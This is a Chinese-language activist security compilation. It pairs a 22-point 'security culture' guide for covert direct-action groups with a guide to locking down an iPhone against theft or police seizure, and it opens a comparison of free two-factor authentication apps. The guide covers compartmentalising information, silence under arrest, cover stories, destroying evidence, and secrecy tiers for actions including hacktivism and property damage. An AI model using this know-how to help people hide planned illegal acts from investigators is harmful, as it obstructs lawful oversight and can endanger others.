安全文化是敏感人士社区共享的一套习俗，这样的社区的成员很可能会成为政府的目标，而安全文化的目的就是帮助您将风险降到最低。

📌 有了安全文化后，每个人都不用再从头开始反复制定安全措施了，而且可以帮助抵消压力情况下的偏执和恐慌—— 当然，也能帮助您远离监狱。

📌 安全文化和安全协议是不同的；协议和文化的区别在于，文化会变成无意识的、本能的，从而毫不费力；一旦最安全的行为已经成为您的集体中每个人的基本习惯，您就可以不需要再花更多时间和精力去强调它的必要性、或者承受没有它的后果、或者担心自己有多大的危险了，因为您会知道自己已经在尽一切努力去小心。

📌 如果您养成了不泄露自己任何敏感信息的习惯，您就可以放心地和陌生人合作，而不必为他们是否是政府线人而苦恼；如果每个人都知道在电话里不能说什么，您的敌人就算尽情地窃听电话线也不会让他们有任何收获。

以下有22条内容，是您应该最基本做到的。（Catch-22，哈这是玩笑，不过这样可以比较容易记忆）。

🌟 1、所有安全文化的核心原则 —— 也是再怎么强调也不为过的一点—— 就是：人们永远不应该知道任何他们不需

要知道的敏感信息。

「图」

知道一些可能危及个人或项目的信息的人越多 —— 无论这些信息是犯有非法行为的人的身份、私人会议的地点，还是未来活动的计划—— 就越有可能使这些信息落入坏人手中。

📌 与不需要这些信息的人分享这些信息，对他们来说是一种伤害，同时也是对那些处于危险中的人的伤害：因为这会将他们置于一个不舒服的境地，即 只要一个错误的举动就能搞砸别人的生活。例如，如果他们被审问时，他们就会有一些东西需要隐瞒，就会有压力，不是所有人都擅长处理压力的。

🔅 2、不要问，不要说。

「图」

不要要求他人分享您不需要知道的机密信息。不要吹嘘您或他人做过的任何敏感的活动，也不要提及将要发生或可能发生的事，甚至不要提及其他人对参与此类活动的兴趣。

📌 无论何时说话都要保持清醒，不要让偶然的暗示不经意地掉出来。

🔅 3、您可以随时对任何人说不，关于任何事。

「图」

不要回答任何您不想回答的问题—— 不仅仅是对警察，也包括对其他活动家，甚至是您的亲密的朋友，都是如此：如果有什么您觉得不安全的事，就不要分享。

📌 这也意味着对别人不回答问题的现象不要感觉不舒服：如果有一个对话他们想保留给自己，或者他们要求您不要参加一个会议或项目，您不应该把这当作针对您个人的问题 —— 他们可以自由地这样做是为了大家都好。信任分级应该是一个公认的原则。

同样，不要参加任何您觉得不好的项目，也不要和任何您觉得不放心的人合作，也不要在任何情况下忽略自己的直觉，如果出了问题，惹了麻烦，您也不想有任何遗憾。您有责任不让任何人劝您去冒您还没

准备好的风险。

🔅 4、千万不要把您的朋友交给敌人！

「图」

📌 如果被抓了，永远，永远不要交出任何可能危及他人的信息。

有些人建议直接行动小组的所有参与者都要进行明确的宣誓：这样一来，在最坏的情况下，当压力可能会使您很难区分放弃一些无害的细节和完全出卖自己之间的区别的时候，每个人都会清楚地知道他们已经对彼此做出了什么承诺。

🔅 5、不要让敌人太容易弄清楚您的目的。

「图」

📌 在您所采用的方法，或您所选择的目标，或你们见面讨论事情的时间和地点上，永远不要太容易被预测到。

在您进行最严肃的直接行动的斗争中，不要在公开方面太显眼：不要让您的名字出现在邮寄名单上，也不要出现在媒体上，有些情况下也许要完全避免与公开的组织和运动的联系。

📌 如果您和几个队友一起参与了真正严肃的秘密活动，您可能要限制你们在公开场合的交往，甚至应该完全避免让自己看起来认识对方。

政府间谍可以很容易地获得从您的手机中拨出的电话号码，并会利用这样的名单建立个人之间的联系网络；从您的电子邮件，到您从图书馆借阅的书籍，特别是社交网站，都是如此。通过此链接看到当权者会怎么做的追踪演示。

📌 不要留下任何蛛丝马迹：信用卡的使用、加油卡、手机通话等都会留下您的动静、购买历史记录和联系人关系网络的记录。如果您需要的话，要准确一个掩饰性的故事以解释为什么会产生相关“联系”，并需有可证实的事实支持这个故事。

在我们的“完美隐身”系列中看到具体做法。这里的链接是该系列内容的最后一集，其中包含完整列表。

小心您丢掉的垃圾！可能会暴露您的身份—— 并非只有辍学者才会去扔垃圾，垃圾箱潜水是社交工程师的专长之一。对您的每一份书面文件和复印件都要仔细权衡，用您的对手的眼光去权衡它们与您的安全的利害关系—— 把它们都放在一个地方，这样您就不会不小心忘掉一个，一旦不再需要它们，就把它们彻底销毁。

📌 您需要能做到这些敏感证据的数量越少越好，要习惯使用自己的记忆力 —— 这就是为什么我们将 “超强记忆力训练” 作为行动主义课程之一的原因。确保在您书写的表面上没有留下任何这种书写的印记，不管这些是木制的桌子还是纸垫。要知道每次使用电脑也会留下痕迹，尤其是要知道该怎么处理痕迹。在我们的 “难以被追踪” 系列中看到详细解决方案，此处的链接为本系列最后一集，其中包含完整列表。

⚒ 6、不要在公开场合抛出任何您认为自己可能会在某个时候想尝试的直接行动想法！

「图」

等到您能真正召集到一群您认为都会有兴趣尝试的人时，再提出一个想法；例外的是您的亲密伴侣，您要和她/他一起进行头脑风暴，并提前商量好细节 —— 当然是在安全的情况下，在您的家门外，远离你们的工作单位。

📌 在您认为时机成熟之前，不要提出您的想法。只邀请那些您非常确定会加入的人 —— 您邀请的每一个人如果最终没有参加，就会带来不必要的安全风险，如果他们觉得您提议的活动愚蠢得可笑或在道德上是错误的，那就更麻烦了。

只邀请能够保守秘密的人 —— 这一点对他们是否决定参加至关重要。

⚒ 7、制定一个在公开场合与战友沟通的私密通信。

「图」

在公共场合，比如在被召集讨论可能的直接行动的会议上，要想办法与您信任的队友暗中交流安全问题和舒适度，这一点很重要。

知道如何在别人看不出你们在来回发信息的情况下衡量对方的感受，将使您省去试图猜测对方对某一情况或个人的想法的困惑，并且帮助

您避免在事情发生时不能把朋友拉到一边；也不会显得奇怪。

当您召集一个更大的团队提出行动计划时，您和您的亲密队友也应该清楚彼此的意图、冒险的意愿、承诺的程度、和对他人的看法，以节省时间，避免不必要的歧义。如果您以前没有参加过直接的行动计划圈，您会惊讶于即使大家都做好了准备，事情会同样会变得多么复杂和曲折。

🌟 8、制定方法，确定一个团体或情境的安全级别。

「图」

在一次规模较大的会议开始时，如果不是每个人都认识，您可以进行一个快速的程序，那就是 “担保” 游戏：当每个人自我介绍时，所有能担保此人的人都举手。

📌 请注意，您应该只为您有信心和值得您信任的人担保。希望每个人都通过链条上的某个环节与其他人联系在一起，无论怎样，至少大家都知道事情的现状。

一个明白良好安全的重要性的活动家，在这种情况下，如果没有人在场可以为他担保，其他人可以请他离开，如果他理解安全文化是什么，他就不应该会觉得受到了侮辱。

🌟 9、开会地点是安全的一个重要因素。

「图」

📌 您应该选择一个完全没有监视的地方(不要选私人住宅！因为地点会与房主的身份联系在一起，将很容易曝光你们的关系网络)；您不应该选一个可以被全部观察到的地方 (比如 不应该是第二天行动地点对面的公园)；你不应该选择一个可以看到您进出的地方，或者有人可能会突然进入的地方—— 记得角色分配吗？这里要使用您派遣的侦察员。会议开始后要锁门，注意任何可疑的东西。

小团体可以通过散步聊天；大团体可以在安静的户外环境 —— 如果有时间的话，可以去登山或露营，也可以在公共建筑的私密房间里见面，比如图书馆自习室或空的教室。

最好的情况是：虽然不知道你参与了直接行动，但你和镇子对面开咖啡馆的老板关系很好，他不介意在某个下午把后面的房间让给你开个

私人派对，而不问任何问题。

※ 10、要意识到您身边的人是否可靠，特别是可能与您合作进行地下活动的人。

「图」

📌 意识到您认识这些人多久了，他们在您的社区中的参与和他们在社区外的生活可以追溯到什么时候，以及其他人与他们的关系经历。

与您一起长大的朋友，如果你的生活中还有他们，可能是直接行动的最佳伙伴，因为您熟悉他们的长处和短处，以及他们处理压力的方式—— 当然，您也知道他们就是他们所说的人。

确保只把您的安全和项目的安全性托付给头脑清醒的人，他们有着与您同样的优先级和承诺，而且没有什么需要去证明的。从长远来看，要努力建立一个由具有长期友谊和共同行动经验的人组成的社区，并与其他此类社区建立联系。

※ 11、不要过于分心担心别人是否是线人，如果您的安全措施有效，渗透就应该根本不重要！

「图」

📌 不要浪费您的精力让自己变得偏执而不善于交际，并不需要怀疑您遇到的每一个人—— 这点我们在 “整体安全” 系列中讨论过了。如果您把所有的敏感信息都保存在仅限绝对必要的队友的圈子里，只和那些可靠的、有经验的、您能核实其历史的朋友合作，加上绝不泄露任何有关您私人活动的信息，那么特工和警察的线人就无力收集证据来对付你。

一个好的安全文化，应该让这些害群之马是否在您的社区里活动都能在实际上已经无关紧要。重要的不是一个人是否与警察有牵连，而是他是否构成安全隐患；如果他被认为是不安全的（双重含义），就绝对不应该允许他去决定其他人的安全性。

※ 12、学习并遵守与您交往的每一个人的安全期望，尊重风格的差异。

「图」

📌 要与他人合作，您必须确保他们对您有宾至如归的感觉；即使您不与他们合作，您也不应该让他们感到不舒服，或者无视他们比您更了解的危险。

当涉及到计划直接行动时，如果不遵守特定社区所接受的安全文化，不仅会破坏您与他人合作的机会，而且会破坏项目发生的可能性——例如，如果您提出一个他人计划在他们认为不安全的环境中尝试的想法，他们可能会被迫放弃这个计划，因为它现在可能与他们有关。

在您提出直接行动的话题之前，请大家为您勾勒出他们具体的安全需求。

🌟 13、在安全方面，要让别人清楚地知道您的需求是什么。

「图」

遵守他人期望的必然结果是，您必须让他人容易遵守您的期望。

📌 在任何关系的开始，您的私人政治生活经历可能会成为一个问题，强调您的活动有一些细节需要保密。这可以让您在已经足够紧张的情况下省去很多戏剧性的事。您会懂的。

这不是信任的问题，敏感的信息并不是赚取或应得的回报。

🌟 14、为别人着想。

「图」

向身边的人明确说明您的存在可能会给他们带来哪些风险。或您已经计划好的行动，至少在不违反其他安全文化戒律的情况下，您能做到什么。让他们知道在您的能力范围内，您自己要承担哪些风险：例如，您是否能承受被逮捕的风险（如果有未完成的逮捕令，如果您是一个无证移民，等等），您要承担哪些责任，您是否有任何所谓的敏感点让当局可以抓到“把柄”。

📌 不要用您的决定来危害他人，尤其是当您无法提供具体的支持时，万一他们因为您的行为而被逮捕和被起诉。

如果别人在您点燃火堆的地方丢了一条横幅，警察可能会以纵火罪起诉他们；即使罪名不能成立，您也不想发生这样的事；或者不小心堵

住了他们计划中的逃生路线。

如果您帮助发起了一场离开受允许区域的突围游行，尽量确保您的身体挡在警察和其他已经赶来但不一定了解其中风险的人之间；如果您通过参与升级的行动，确保当警察出现时，其他对此毫无准备的人不至于还站在这里迷茫。

无论您从事什么风险项目，一定要做好准备，聪明地去做，这样就不会有其他人在您犯错的时候，去冒着意想不到的风险帮你。

🔅 15、安全文化是一种礼仪，是避免不必要的误解和潜在的灾难性冲突的方法。

「图」

📌 安全问题永远不应该成为让别人感到被排斥或自卑的借口—— 虽然要避免这种情况可能需要一些技巧！—— 就像任何人都不应该觉得自己有 “权利” 参与到任何别人喜欢保密的事情中去。

那些违反社区安全文化的人，第一次不应该受到太严厉的斥责——这不是一个够不够时髦、够不够积极的礼节，也不是一个够不够融入的问题，而是建立群体期望，温和地帮助人们理解其重要性的问题；此外，当人们被置于防御状态时，就是他们最不能吸收建设性批评的时候。

尽管如此，这样的人总是应该立即被告知他们是如何让别人处于危险之中的，以及如果他们继续这样做会有什么后果。

📌 对于那些不能理解这一点的人，必须巧妙而有效地将他们拒之于所有敏感情况之外。

🔅 16、安全文化不是偏执狂的制度化，而是提前将风险降到最低，避免不健康的偏执狂。

「图」

如果花更多的精力去担心自己受到了多少监控，而不是有用的减少它带来的危险，就像不断猜测自己的防范措施、不停怀疑队友的草木皆兵那样，是适得其反的。

📌 良好的安全文化应该让大家都感到更多轻松、更多自信，而不是

减少。同时，如果指责那些遵守比你们更严格的安全措施的人是偏执狂，同样是没有效果的 —— 要记住，我们的敌人始终是要对付我们所有人的。

🌟 17、不要让猜疑被用来对付你。

「图」

📌 如果您的敌人不能知道你们的秘密，他们就会让你们反目成仇。渗透者可以散布谣言或四处指控，在团体内部或团体之间制造不和、不信任和怨恨。他们可能会伪造信件或采取类似的措施来构陷活动人士。

📌 主流媒体也会参与其中，他们会报道一个团体中有一个告密者，而事实上这个团体中并没有告密者，或者歪曲个人或团体的政治或历史，以疏远潜在的盟友，或者反复强调一个运动的两个分支之间存在冲突，直到他们真的互相不信任 ..... 如果您像我们一样已经跟随 Wikileaks10几年，您不会对这些做法陌生，在该组织身上发生的一切集中了全世界所有最典型的 “秘密行动” 的操作手段。它应该是个警惕教材。

同样，培养适当高度信任和信心的精明安全文化，应该使渗透者的挑衅在个人层面上几乎不可能发生；当涉及到不同策略的支持者和不同条理的组织之间的关系时，请记住团结和策略多样性的重要性，并相信其他人也是这样做的，即使媒体的描述表明不是这样。

📌 不要把传言或新闻报道当作事实来接受：每次都要去找消息来源确认，并且要有外交态度。

🌟 18、不要被虚张声势所吓倒。

「图」

📌 警察的关注和监视并不一定表明他们知道您的计划或活动的任何具体内容：通常情况下，这表明他们不知道，并试图吓唬你，让你不要继续和其他人合作。

您应该意识到敌人只是想让您痛苦，让您为他们做事。拒绝他们的阴谋。

🌟 19、时刻准备着您被监视的可能性，但是，不要误以为

吸引了监视就等于行动有效！

「图」

即使您所做的一切都是完全合法的，但如果情报组织和警察觉得您给他们的主子带来了不便，您仍然很可能受到他们的关注和骚扰。

📌 从某些方面来说，这可能是好的，这些间谍要监视的人越多，精力就越分散，他们就越难锁定和中和真正的行动者。但是，同时，不要沉浸在被监视的兴奋中，开始以为当局越关注你，你对他们来说就一定越具威胁性，这是错误的！—— 他们可没那么聪明。

📌 最好的策略是那些能够接触到人们、提出观点、发挥影响力的策略，同时不会出现在当权者的雷达上，至少在镇压战术为时已晚之前不会出现。

最理想情况下，除了当局之外，您的活动应该被所有人熟知。

⚙ 20、安全文化涉及到沉默的准则，但它不是无声的准则。

「图」

我们在反抗斗争中大胆探索的故事必须以某种方式讲出来，让每个人都知道抵抗是一种由真人付诸行动的真实可能性；必须公开动员起义，让未来的革命者能够找到对方，让埋藏在群众心中的革命情绪找到浮出水面的途径。

📌 一个好的安全文化应该尽可能地保存个人在地下活动中安全所需的秘密，同时又能为激进的观点提供可见性。

今天活动家环境中的大部分安全传统都来自于过去三十多年前的动物权利运动和地球解放活动；因此，它完全适合于进行孤立的行动者小团体的需要，但并不总是适合于更多的旨在鼓励普遍的不服从的公开动员。在某些情况下，公开动员可能是有意义的，以便激起广大群众的参与，从而提供人数上的安全性。

⚙ 21、在躲避敌人侦查的需要和潜在朋友接触的需要之间进行平衡。

「图」

📌 从长远来看，仅靠保密是无法保护我们的—— 他们迟早会发现我们所有人，如果没有人了解我们在做什么、我们想要什么，当局就能肆无忌惮地清算我们。

届时，只有一个知情的、同情的（希望也有类似装备的）公众力量才能帮助我们。

📌 在实行直接行动的社区中，总应该有入口，让越来越多的人可以加入进来。当然，那些做真正严肃的事的人应该把这个入口留给自己，但每个社区也应该有一两个人公开倡导和教育大众关于直接行动，并能谨慎地帮助值得信赖的新手与其他开始行动的人联系起来。

🌟 22、当您计划一项行动时，首先要确定与之相适应的安全级别，并从那里开始采取相应的行动。

「图」

📌 要学会衡量某项活动或情况所带来的风险，以及如何适当地处理这些风险，不仅可以帮助您远离监狱的关键部分，还有助于知道自己可以不担心什么，这样就不会把精力浪费在不必要的、繁琐的安全措施上。

请记住，一个给定的行动可能有不同的方面，需要不同程度的安全保障；一定要把这些区别开！

🌟 下面是一个可能的安全等级评定系统的例子，从窄到宽：

「图」

等级1、只有 *直接参与* 行动的人才能知道行动的存在。

等级2、可信赖的支持人员也应该知道行动，但需要您亲密团队中的每个人共同来决定这些人应该是谁。

等级3、您的团队邀请可能选择不参加的人参加是可以接受的 —— 也就是说，您的团队外的一些人可能知道行动本身的存在，但是您必须确信他们应该可以保守秘密（确信的理由包括比如，他们深爱您并且了解您的事业的正义，尤其是明白镇压当局的暴虐）。

等级4、您的团队不需要设定严格的邀请对象名单，参与者可以自由地邀请其他人，并也鼓励他们这样做，但是，同时必须强调对行动具体细节的了解要保持在那些可以信任的能保守秘密的人的小范围内。

等级5、有关行动的“传言”可以在社会上广为传播，但组织中心人员的身份必须保密。

等级6、行动开始后是可以公开宣布的，但至少要有一定程度的慎重，以免给当局的镇压以任何提示。

等级7、行动本身完全公开，一切都在台面上进行。

举例来说，上述1号安全级别适合于计划黑客主义和无政府主义直接行动的团体，2号安全级别则适合于那些计划进行较小的财产破坏行动的团体，比如涂鸦和喷漆。

第3或第4等级适合在大型示威游行之前召集一个发言人小团队，或者适合计划做媒体宣传的团体，这取决于您所衡量的具体风险与数量需求的比例。

第5等级将非常适合于发起一次突击性的未被允许的游行这样的项目：例如，每个人都提前听说一场大型演唱会将以“自发的”反战游行结束，所以人们可以做相应的准备，但由于没有人知道这是谁的主意，所以镇压当局无法抓到组织者。

第6等级适合宣布活动家群体的集体自行车骑行活动：每辆民用自行车的车把上都插着传单，但不会向报社发公告，所以警察不会在行动一开始就出现，而那时候群众还处于弱势。

7号等级适合 *被允许* 的反战游行或独立媒体视频/纪录片的放映等。

根据上述安全级别选择最适合您的一种。

📌 并且，根据您所需的安全级别选择将使用的通信方式同样非常重要。下面是与上面概述的系统相对应的不同级别的通信安全性的示例 —— 要对应着看哦：

「图」

1、除了亲自到参与人员的住所而不是通过互联网、在确认无监视的

环境中再讨论行动本身，否则不得就行动进行交流；除非绝对必要，否则不得讨论行动本身。

2、在小组会议之外，参与人员可以在 *确认无监视* 的空间中自由讨论行动。

3、允许在没有被监视的住所中讨论行动。

4、通过加密的电子邮件或端对端通信应用进行交流是可以接受的。

5、人们可以通过电话、电子邮件等方式谈论行动，但是，要注意不要泄露任何重要细节 —— 比如 谁、什么、什么时候、在哪。

6、电话、电子邮件等都是可以接受的；电子邮件列表、向报纸发布公告等等都可以，要根据具体情况，可以接受，也可以不接受。

7、鼓励通过各种可能的媒介进行沟通和宣布。

如果您不想让危险信息流传出去，并且您在每个项目中都遵循了适当的安全措施，您就能很好地完成早期工作。美国活动家 **Abbie Hoffman** 曾经描述的革命者的首要职责就**4**个字：不被抓住。

祝您的行动主义冒险一切顺利，请记得—— 这些建议是您自己想出来的，不是我们告诉您的！〇

原文

AS7 如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？ - iyouport

护盾（AS）

【2019年10月18日】手机丢了或者被警察抢走了，这是无比糟糕的事。而且这种危险随时可能发生。为了将损失降至最低，您需要提前作好防备。

如今我们的电话已经不仅仅是一个电话，说它是身家性命都不为过。您一定理解这个道理。

手机是警方当局和犯罪分子瞄准的重点目标。

为了防止这种情况发生，你应该采取预防措施，越早越好。

提前声明，以下步骤的适用范围不包含您的对手是NSO那类公司的客户时的状况。一般情况下您也很难遇到那种状况（至少他们的间谍工具非常贵，并非随便哪个小偷和警察部门就能买得起的）

以下是一些步骤，是您最基本要做到的。

提示一：设置生物识别身份验证

请注意，这是防小偷的，有可能不防警察（防警察的办法后面说）尤其是在警方可以强迫按压您的手指解锁和/或扫描你的面部而不受惩罚的国家。

您也许曾经被建议设置指纹而不是面部ID；因为面部识别可以在不接触的情况下解锁，似乎更不安全。

但是这不确定。

由于禁用很容易，于是，⚠这需要您根据自己面对的实际风险作出尽可能准确的评估。

是的，您的密码依旧是一层安全保护，对某些人而言可能已经足够了，但是 Touch ID 可以增强您的安全性并使窃贼和黑客更难进入您的物理设备。

下一步更最重要。

提示二：了解如何快速禁用生物识别技术

现在您已经设置了面部ID或触控ID，这是一件非常重要的事：如果抢劫者或执法部门拿走您的 iPhone，它们可能会被用来对付您。

犯罪分子和警察当局可以强行使用脸部或指纹解锁你的 iPhone，后者甚至还有权在合法的情况下没收你的设备。

请注意，⚠掌握时机是非常重要的！

只要您知道如何操作，您就可以在瞬间让 Face ID 或 Touch ID 失效，而不会弄乱屏幕上的任何内容。

只需按一下按钮即可锁定生物识别访问。

2.1 快速禁用面部**ID**

要禁用面部ID，只需同时按住侧面按钮，同时按下开关键音量调高或音量调低按钮。如果你愿意的话，你甚至可以按住所有三个。保持约两秒钟。

⚠一定要保持足够长时间；您需要能看到“滑动关机”开关出现。一旦出现该屏幕，就放手。

重要提示：如果您的脸部在按下按钮组合之前已经解锁屏幕，或者您已经在主屏幕或应用程序中处于解锁状态，则必须单击侧面按钮一次以关闭屏幕或让它自己睡着。如果不这样做警方依然可以访问您的手机，因为它目前已经解锁。

第二个选项。

连续5次单击侧面按钮（也称为睡眠/唤醒（电源）按钮）将激活紧急SOS屏幕，这将禁用 Touch ID，直到输入密码为止。

使用 iPhone X，X S，X S Max和X R，快速单击Side按钮五次也将激活紧急SOS；它会直接进入倒计时模式，而不是“滑动关机”，所以你

必须手动阻止它调用911。但是这样做将有效地禁用 Face ID。

重要提示：和前面的选项一样，如果您的脸部在执行五次点击之前已经解锁了屏幕，或者您已经在主屏幕或应用程序中处于解锁状态，那么您必须单击侧面按钮一次以关闭屏幕或让它自己入睡，否则无效。

如果您不喜欢这种方法，或者您害怕可能不小心拨打了911，可以在“设置”应用中禁用这一快捷方式。

此外还有一个选项，在上述两个选项都不合适您的情况下。

也就是制造*多次识别失败*和关闭或重新启动设备。

如果您只想暂时禁用 Face ID ，关闭并重新启动 iPhone X，X S，X S Max和X R的方法就有点过了，因为您必须执行与选项1相同的操作，而且要步骤更多。

警告：注意力检测功能是 iPhone X，X S，X S Max和X R的设置，可防止脸部ID在您直接面对iPhone之前解锁iPhone。

设置需要您的全脸—包括眼睛—以解锁您的设备。也就是说，角度是自然的 时就能解锁。但是这个角度很有限。

如果没有激活此注意力检测功能，有人可能会在您不看屏幕时（甚至在您睡觉时）将 iPhone 指向您的脸部来解锁 iPhone。

2.2 快速禁用指纹**ID**

在美国，执法部门可以让您通过指纹解锁智能手机，但他们不能强迫您输入密码或PIN，这将违反您的第五修正案权利。

在中国，没有第五修正案，他们什么都可以做。所以您需要能快速禁用指纹解锁，并且尽可能争取10次密码 错误以自动擦除手机。

iOS 11及以上都可以做到让您在几秒钟内禁用Touch ID。

想要暂时禁用Touch ID，你只需快速按下电源按钮五次即可，这时屏幕会显示“紧急SOS”页面，你可以呼叫紧急联系人，但同时，这样也可以防止你的iPhone在没有密码的情况下被解锁，也就是说此时已无法用指纹解锁设备。

如上所示，弹出紧急SOS屏幕，您无需再进行任何操作，只需点击“取

消”即可。

在警察砸门之前几秒钟内就可以完成。

下次您尝试使用带有Touch ID的已注册指纹时，它会告诉您“您的密码是启用Touch ID所必需的”。大多数执法部门都无法绕开它。

总结一下让生物识别快速失效的几种可能性：

- 设备刚刚打开或重新启动。
- 设备处于锁定状态超过48小时。
- 在过去的六天半内没有使用密码解锁过设备，且在过去的 4 小时内没有通过面容 ID 解锁过设备。
- 设备已收到远程锁定命令。
- 面部匹配尝试失败五次后。
- 在同时按住任一音量按钮和侧边按钮 2 秒钟以关机/发起 SOS 紧急联络之后。
- 如果设备的电池电量低于10%。

⚠如上，牢记它们！根据您当时所处的情况，您可以选择最适合自己的一种，以保全设备和人身安全为基本目标。

提示**3**：更强的密码

如果您在第一次打开 iPhone 时设置了密码，则可能是四位数或六位数字代码。

尽管具有一百万种六位数代码的可能组合比仅有10,000种的四位数代码的可能组合更安全，但它仍然相当弱。

一台名为 GrayKey 的 iPhone 黑客机器可以在大约11个小时内破解六位数的密码。

如果您想要在 iPhone 上获得最佳安全性，则应切换到自定义字母数字或纯数字密码。

两种类型都允许比通常的密码选项更多的数字/字符。如果你想坚持全数字的模式，将你的密码长度达到10位数就可以给它带来1亿种不同的组合。

一旦您选择了新密码并将其输入了“设置密码”屏幕，您将被要求确认您的新密码，因此请继续操作。

但是，这时您可能会收到提示，要求您使用新密码从 iPhone 更改 Apple ID 密码。

⚠我们建议您跳过此提示，因为它可能让进入iPhone的小偷和警察更容易访问并接管您的Apple / iCloud帐户。所以点击“取消”。（当然，前提是您的iCloud帐户不在“云上贵州”）

取消此提示意味着您需要使用安全问题或双因素身份验证来确认您的身份并在需要时更改Apple ID密码。

提示**4**：尽可能快地更新到最新的**iOS**版本

这无需更多解释。

当然，这种方法不会让你躲开0day黑市的威胁。但要知道 Apple 的 0day 是最贵的，一般人买不起。

犯罪分子和警方当局可以很邪恶，但是他们也要有价值衡量；如果您的数据价值100万美元，而解锁您的设备以获得数据需要的工具价值200万美元或更多，他们就会退缩。

提示**5**：备份数据

危险随时都会发生，而且基本不会让您事先收到什么提示。这就是为什么您应该随时做好防备。

现在您不再需要使用 iTunes 将设备备份到计算机上 —— 您可以直接从 iPhone 进行操作。

在“设置”中点击“iCloud”，然后点击“iCloud Backup”。

启用“iCloud Backup”（如果尚未启用），然后点击“立即备份”以备份您的设备。（再一次：需要您不在“云上贵州”）

如果启用了“iCloud Backup”，则当 iPhone 连接到电源并且您已连接到 Wi-Fi 时，将自动备份您的数据。

提示**6**：在锁定屏幕上禁用**USB**附件

iOS中有一个更新的设置，允许您连接到附件而无需解锁设备，虽然这确实简化了过程，但它也可以让您面临潜在的风险。

⚠犯罪分子和警察可以利用此功能绕过您的锁屏密码并进入手机 ——这就是您应该从锁定屏幕禁用USB附件的原因。

在“设置”中，转到“面部识别码和密码”或“触摸ID和密码”，输入您的密码，然后一直向下滚动。确保“USB附件”旁边的拨动开关关闭（不是绿色）。

提示**7**：关闭锁定屏幕消息回复

您应该在锁定屏幕上禁用的另一个功能是“回复消息”。

想象一下，有人偷了你的 iPhone，你收到了一个与你亲近的人发来的短信。然后小偷可能会伪装成你，给他们发短信，并以狡猾的方式询问你的密码。

并且还可以采取其他社交工程攻击。

要防止出现这种情况，只需在“面部识别码和密码”或“触摸ID和密码”设置中禁用“回复消息”功能即可。

虽然这样做您自己也无法通过锁定屏幕回复消息，但最好先花点时间解锁您的设备，而不是让您的设备更容易被犯罪分子和警察攻击。

提示**8**：将**iPhone**设置为自动擦除

一个非常幸运的犯罪分子可以猜出你的密码，但你可以让这个过程变得更难。稍微有点难就行。

iOS上的“擦除数据”功能会在10次尝试解锁失败后擦除设备上的所有数据，这使得犯罪分子和警方几乎无法访问您珍贵的数据。

只需确保准备好 iCloud 备份，以便以后您自己仍可以访问它。

再次在“面部识别码和密码”或“触摸ID和密码”设置中，打开“擦除数据”旁边的切换按钮，然后点击“启用”将其激活。

如果您是经常忘记密码的人，即使您启用了面部识别码或触摸ID，也可能不想这样做，因为您有时仍需要密码。所以，请斟酌自己的情况。

提示**9**：设置查找我的 **iPhone**

“查找我的iPhone”不仅会向您显示设备的确切位置，还可以让您远程擦除设备，并在您的设备上留下消息和联系信息锁屏。

要启用“查找我的iPhone”，请在“设置”应用中点击您的姓名，然后点按“iCloud”并向下滚动，直至看到“查找我的iPhone”。

在这里，您可以启用“查找我的iPhone”以及“ 发送最后位置 ”；当电池电量非常低时，它会自动将 iPhone 的位置发送到“查找我的 iPhone”。

好了。就是这样。

再次重申，以上步骤能对付大多数危险情况，但是无法对付美国国安局和NSO那种间谍；当然，绝大多数情况下您不会遇到后者。所以，先做好基本安全。〇

原文

AS8 如何不暴露手机号、不花钱，实现双因素身份验证？ - iyouport

护盾（AS）

【2019年10月23日】比较一下所有可能的选项

谈到网络安全，一层是不够的。

复杂的密码（或使用密码管理器创建的密码）可以很好地保护您的数据，但它仍然可以被破解。

双因素身份验证通过添加第二层安全性来加强这一点，为您提供更多针对在线威胁的保护。

使用双因素身份验证（也称为两步验证或简称为2FA），您登录的服务需要两件事来验证您：您知道的东西和您拥有的东西。

您的密码用作“您知道的东西”，2FA应用程序提供“您拥有的东西”。

虽然这第二层并非万无一失，但它确实可以大大提高你的防御能力。

并非所有网站都支持此功能，但大多数热门网站都支持此功能，如果感兴趣的话您可以使用 Two Factor Auth 来检查兼容性。

但是，并非所有2FA都是相同的。⚠有些网站仅支持通过短信或电子邮件发送代码。这些是不安全的选项，因为有人可以远程访问这些途径。

💡这就是为什么你最好的选择是使用基于软件的令牌，这就是本列表中每个应用程序支持的方法。

比较图表

关键比较点

- 离线模式：无需互联网即可生成2FA代码。

- 开源：源代码可供任何人审核。虽然开源确实提供了优势，但本列表中的应用程序都不是开源的（尽管有些应用程序利用了几种开源技术）。
- 加密备份：令牌数据库已加密，并与您的设备分开备份。这样，即便您升级手机，也无需将新手机注册到所有帐户。
- 桌面版：服务是否具有桌面版本，因此您在登录帐户时不需要智能手机。
- Smartwatch 兼容：该服务支持一个（或多个）主要智能手表操作系统。 Wear OS 是基于 Android 的智能手表操作系统，而 watchOS 则是基于iOS的智能手表操作系统。如果应用程序支持其中一个操作系统，即使手机放在口袋中，您也可以检索代码。
- 密码保护：使用某种形式的身份验证锁定入侵者的能力。Authy 和 LastPass 都支持PIN码，指纹扫描，Touch ID 或 Face ID（取决于您使用的iPhone型号）。
- 多设备同步：能够跨多个设备同步数据并访问您的令牌。在一台设备上添加或删除的任何帐户也将在其他设备上添加或删除。
- 可调节的OTP时间：能够调整一次性密码可用性的长度。较短的时间使黑客更难操作，但可能太不方便。通常，默认计时器在15–30秒之间。对于支持该功能的两个应用程序，都需要手动输入。
- 可调整密码长度：可以调整一次性密码的大小。对于支持该功能的两个应用程序都需要手动输入。更长的代码使得攻击变得更加困难。
- 推送通知：列表中的某些应用程序不支持输入代码，而是支持推送通知。令牌在后台交换而不需要您复制数字，因此您需要做的就是接受或拒绝请求。但是，该网站必须包含支持，仅限于本列表中的所有应用。
- 安全通知：只要对与2FA应用相关联的帐户进行了任何更改，就可以发送提醒。 Microsoft Authenticator 去年推出了此功能，如果您的帐户发生任何更改（例如密码更改），应用程序会通知您。

如何选择这些应用程序

为了缩小 iOS App Store 和 Google Play 商店中2FA应用的范围，本指南设定了一些基本规则。

没有必要为 Android 和 iOS 制作单独的列表。支持这两种操作系统的

应用程序将使更多用户受益，因为您可能正在使用这两种移动平台之一（尽管还有 SailfishOS 和技术上的 Windows Phone 用户）。

不幸的是，这个决定确实遗漏了一些很好的选择，包括开源的 andOTP，仅限于 Android。

第二个要求是每个应用程序当前必须由其开发人员支持。

定期支持可确保及时处理错误和漏洞，并且可以及时处理移动操作系统的任何新更新。

本指南删除了至少一年内未收到更新的所有应用程序。例如，FreeOTP 被排除在考虑范围之外，因为其上一次 Android 更新是在2016年，而iOS更新是在2014年。

由于大多数人不想为应用付费，因此本指南只关注免费的2FA应用。

